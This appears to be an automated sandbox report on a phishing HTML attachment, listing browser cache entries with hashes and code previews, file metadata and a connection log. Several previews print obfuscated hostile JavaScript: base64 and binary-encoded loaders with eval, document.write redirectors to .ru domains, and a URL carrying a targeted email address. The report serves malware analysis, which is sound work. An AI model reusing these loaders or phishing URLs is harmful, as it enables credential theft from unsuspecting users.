SHA-256:	404A0ED16A1056513347A0CA897206B11A37E056EAF92AD231C36CC8A8BB7055
SHA-512:	2F8A60AE6A5A37F2DD8C9F22F9D00179689B407C7F75F736738913683E74A7E9C4D4F667F104C4EFA2FB7E6954DB13290801EBECA8E3E9DCB96ED8BF05957659
Malicious:	false
URL:	https://ohhellopreston.com/.res444.php?2-68747470733a2f2f78512e696e7472616e63686d61722e72752f614e335a4a2f-WlpvsU
Preview:	var fHjLcnVzEsrzcUWX = document.createElement("script");..fHjLcnVzEsrzcUWX.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(fHjLcnVzEsrzcUWX);..fHjLcnVzEsrzcUWX.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiSXBxUEt1bERBY2hXYmhwZlZES1NjTFA0MFwvYmNJazJNZjBjK3ZzYUZFRHdlOVhNcmIzYjlKS0hzaEdxb1FIS2EyWlJKckM0THZacjVuYUpvYXE0d0tWRm1XdU5Bb3NjU0NjUWcwalNHRWZEcVA3R1cxUk5hQU5MVUk3NVJDRG9VUDVlS3JWbnBuVklcL2NjeFNDK083eStcL0xLQ0dKcGVoNVI2T29aTGgxR0pEa1hWNEgybHRwXC94NEo4YmJldEluVk5mM1B4dGdtMDlWS29DQ2Q1bEYzTGhOV0phdWllRXArdTJzN1kwSHZHTlRTTEdvUHdaSzg0K3dadHdUMWlVN1F5ZHhIZFwvVEpySVpwdDhpdVNOVzhWQWdjQkIwY25XdGVcL1JXUnpDMUNrbWhHc0hkYjdEdDNpRUZIOU9YVGg4eGlZaDM0dHpVQzdPWldaUE84RlhURSs5anZLTWtlQ1JNRGtpekNFM3NxZHVYdjQ1dE9MZCt0TlhWOW9maDJQTWNaUlJwTFZcL0o5VlA2Zmh2XC9GTnhJNFQ1eGNZcUJ2engyYkphUVBWT1ltZ2lRZ29tZWlFVVpaOHh6Y29DTyt0c25FV3ZycTh4VlpaeWtLeU5iendaTkZiR0p1VXNUeHY0Yzl4b0VwRTJ0T0I2cjE4UkV5NFVtMUhwR2NidTBMekRpelRycXNaWmtkeH

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48263)
Category:	dropped
Size (bytes):	48264
Entropy (8bit):	5.400221703851042
Encrypted:	false
SSDEEP:	768:GHC+qxLCNuPhydZaR35KOJby4bmofHJ4zY5Z7Vt7jzEgVYMUsMePykWt/HKaN+Pf:GG2NuPhydZaR3gYe4bxeM5ZAsMe+thW7
MD5:	8BDE1466278EDBC80095065C0A8606B6
SHA1:	F99781A5A0FA1AE58218329F47C5163363B403D0
SHA-256:	5BBA95CD14598342C37B07F71259E8813BA6C1E856D0BED270105F50D88309D0
SHA-512:	97930A5AB263CE446278B035777E7D70A7DB85CD7CC3B2C6817C20BBEE2DAC9B6440223F17443994A80B6169624C1E6986832A39A1F05703ADAE4CA95F388345
Malicious:	false
Preview:	"use strict";(function(){function Ht(e,t,n,o,c,l,g){try{var y=e[l](g),s=y.value}catch(p){n(p);return}y.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,n=arguments;return new Promise(function(o,c){var l=e.apply(t,n);function g(s){Ht(l,o,c,g,y,"next",s)}function y(s){Ht(l,o,c,g,y,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function De(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Ue(e,c,n[c])})}return e}function Sr(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (65394)
Category:	downloaded
Size (bytes):	480849
Entropy (8bit):	3.972410117948264
Encrypted:	false
SSDEEP:	1536:EfKXVyvX6nzbC7DH9nMsRu7fKXVyvX6nzbC7DH9nMsRu5LBsELBsC:PU/A2dMsR3U/A2dMsRA3t
MD5:	EADF35E20DB88FBBE458EB6226FC3CEF
SHA1:	EDDBF47FD1990F3794C75675CA27CFD13F7B189A
SHA-256:	6506D0B86C3DD8C0FE53794C1753585AFB3F18B70B50012FA41AA6930AC76A1C
SHA-512:	52FB9C0636D8B5885E2ED4D355E92D9974F564011F2FB934D769E735611D33B0F51CB696BA692E004EC07CA840AF1B7F7C6305633C1E2994AF7DCCAF97406E32
Malicious:	false
URL:	https://xq.intranchmar.ru/aN3ZJ/
Preview:	<script>..AnwxacEDCs = atob("aHR0cHM6Ly94US5pbnRyYW5jaG1hci5ydS9hTjNaSi8=");.kCadyfHhAr = atob("bm9tYXRjaA==");.if(AnwxacEDCs == kCadyfHhAr){.document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAgPHRpdGxlPiYjODIwMzs8L3RpdGxlPgogICAgPHNjcmlwdD4KICAgIG5ldyBQcm94eSh7fSwgeyAKICBnZXQ6IGZ1bmN0aW9uKF8sIGtleSkgeyAKICAgIHJldHVybiBldmFsKFsuLi5rZXldCiAgICAgIC5tYXAoY2hhciA9PiArKCfvvqAnID4gY2hhcikpCiAgICAgIC5qb2luKCcnKQogICAgICAucmVwbGFjZSgvLns4fS9nLCBieXRlID0+IFN0cmluZy5mcm9tQ2hhckNvZGUocGFyc2VJbnQoYnl0ZSwgMikpKQogICAgKTsKICB9IAp9KS4NCu++oOOFpOOFpO++oOOFpO++oO++oOOFpO++oOOFpOOFpO+

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3992
Entropy (8bit):	5.591011855888861
Encrypted:	false
SSDEEP:	96:wOEaCgOEa3FZOfOEaiOEaEJc+ujOEaUNzOpaCgOpa3FZOfOpaiOpaEJc+ujOpaUu:/Cvmo1AVSCSmBMAsX
MD5:	2090BEB037F32795B478A4EFC49169FD
SHA1:	B9855F15009536715C099A558F22B1CE904BF6A7
SHA-256:	D6007057C57B5631CBF65083E601AA576397B0487F11C9DA06F80D1F9A3F7F01
SHA-512:	438DB9686A150E28DF1D75594D1A8646641CB5E03E7E4A456AF0014A1A7BC064597D17999BF4C91F7BF0A1618339D91390B73237FDA2EB539333D0FD5E3B835F
Malicious:	false
URL:	https://fonts.googleapis.com/css2?family=Oswald:wght@400;700&display=swap
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Oswald';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlbHYjedg.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C8A, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Oswald';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlSHYjedg.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese */.@font-face {. font-family: 'Oswald';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/oswald/v53/TK3IWkUHHAIjg75cFRf3bXL8LICs1_Fv40pKlN4NNSeSASz7FmlZHYjedg.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://gbrqqq.v-bnhatn.ru/bhanchod@jczwpfnk
Preview:	1

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:	24:2PUSIn/IylOgX9qCigRmHQxlCNebarFY9:2PLCHlOgXQ9Oie+rw
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (816), with CRLF line terminators
Entropy (8bit):	6.075995206457899
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	BAD.html
File size:	910 bytes
MD5:	cab9df453aa8a8f9db844551f09d6c34
SHA1:	2baff25bbbfaeaaa0165c69b8240913397a140f4
SHA256:	c6d1d3f28a01b46da5d476bee7e9a514c3f121acffa65c2dccb25b97c9776865
SHA512:	9e0d01065bb3bcd81f4dfe69d240645dadd1fbf1fdc0afa02e0b6a67ffc699a2c6035a05b9508df0d6a6f959b9e4e1789108606826764e0ca0cb1d9755382471
SSDEEP:	24:kHE4k6DoWTUyO1znngnC37IbmAE5jUa0gcfT8/FI:h4+yPORnoUkmA6x0dfA/G
TLSH:	3111006C7300D5820CD573D3ED9BCE886538A74536268CF0EFA615A044CA6C784E9F4C
File Content Preview:	<html><head><meta charset="UTF-8"></head><body><script>..WlpvsU = '#Thwiley@dmgmasonry.com';..(function(){const xOPwaN="a5554f9a4172bfb7",oqFPGa=["D0gfZYjSZD9AYEfSTnTNTaYIUj8eVYBMIkrTZjfNGojUU1EJTHH","VDYwiJYHQF00CH1EYKkPYGYXDK0gdHooTHHrVJDPPXT1ZDDBKEX","

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 19, 2025 20:43:18.281234026 CET	49673	443	192.168.2.16	204.79.197.203
Feb 19, 2025 20:43:18.558887959 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:18.558928967 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:18.559031963 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:18.559218884 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:18.559230089 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:18.595840931 CET	49673	443	192.168.2.16	204.79.197.203
Feb 19, 2025 20:43:19.181418896 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.181695938 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.181718111 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.182593107 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.182667017 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.183995008 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.184057951 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.184175014 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.184186935 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.198761940 CET	49673	443	192.168.2.16	204.79.197.203
Feb 19, 2025 20:43:19.230750084 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.443794012 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.443837881 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.443896055 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.443918943 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.443949938 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.444010019 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.444931030 CET	49701	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.444943905 CET	443	49701	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.463464975 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:19.463563919 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:19.463646889 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:19.463901043 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:19.463937044 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:19.485255957 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.485354900 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.485445976 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.485667944 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:19.485707045 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:19.933455944 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:19.933731079 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:19.933799028 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:19.934708118 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:19.934792995 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:19.935677052 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:19.935750008 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:19.935847044 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:19.935864925 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:19.976916075 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.087307930 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.087687969 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.087716103 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.087739944 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.087762117 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.087785959 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.087866068 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.087901115 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.087929010 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.088177919 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.088213921 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.088265896 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.088284016 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.092233896 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.092266083 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.092294931 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.092314959 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.092331886 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.092360973 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.131716013 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.132178068 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.132244110 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.133158922 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.133246899 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.133557081 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.133624077 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.133704901 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.133723974 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.134788990 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.175116062 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.175494909 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.175538063 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.175573111 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.175616980 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.175682068 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.175951004 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176016092 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176048994 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176069021 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.176084995 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176139116 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.176198959 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176268101 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176301956 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176323891 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.176338911 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176389933 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.176403999 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176909924 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.176965952 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.176979065 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177241087 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177280903 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177295923 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.177309990 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177351952 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177356005 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.177376032 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177426100 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.177433014 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177445889 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.177505016 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.180735111 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.215811014 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.215934038 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.216027975 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.216367006 CET	49705	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.216403961 CET	443	49705	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.228461981 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.228518009 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.228599072 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.228791952 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.228823900 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.369113922 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.369147062 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.369209051 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.369739056 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.369786978 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.369846106 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.370007038 CET	49710	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.370023012 CET	443	49710	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.370331049 CET	49711	443	192.168.2.16	104.21.25.83
Feb 19, 2025 20:43:20.370348930 CET	443	49711	104.21.25.83	192.168.2.16
Feb 19, 2025 20:43:20.390531063 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.390583992 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.390645981 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.390681028 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.390742064 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.390784025 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.391258955 CET	49706	443	192.168.2.16	103.83.194.5
Feb 19, 2025 20:43:20.391273975 CET	443	49706	103.83.194.5	192.168.2.16
Feb 19, 2025 20:43:20.400748968 CET	49673	443	192.168.2.16	204.79.197.203
Feb 19, 2025 20:43:20.703211069 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.703470945 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.703538895 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.704426050 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.704494953 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.704982996 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.705054998 CET	443	49707	104.17.24.14	192.168.2.16
Feb 19, 2025 20:43:20.705152035 CET	49707	443	192.168.2.16	104.17.24.14
Feb 19, 2025 20:43:20.747334957 CET	443	49707	104.17.24.14	192.168.2.16
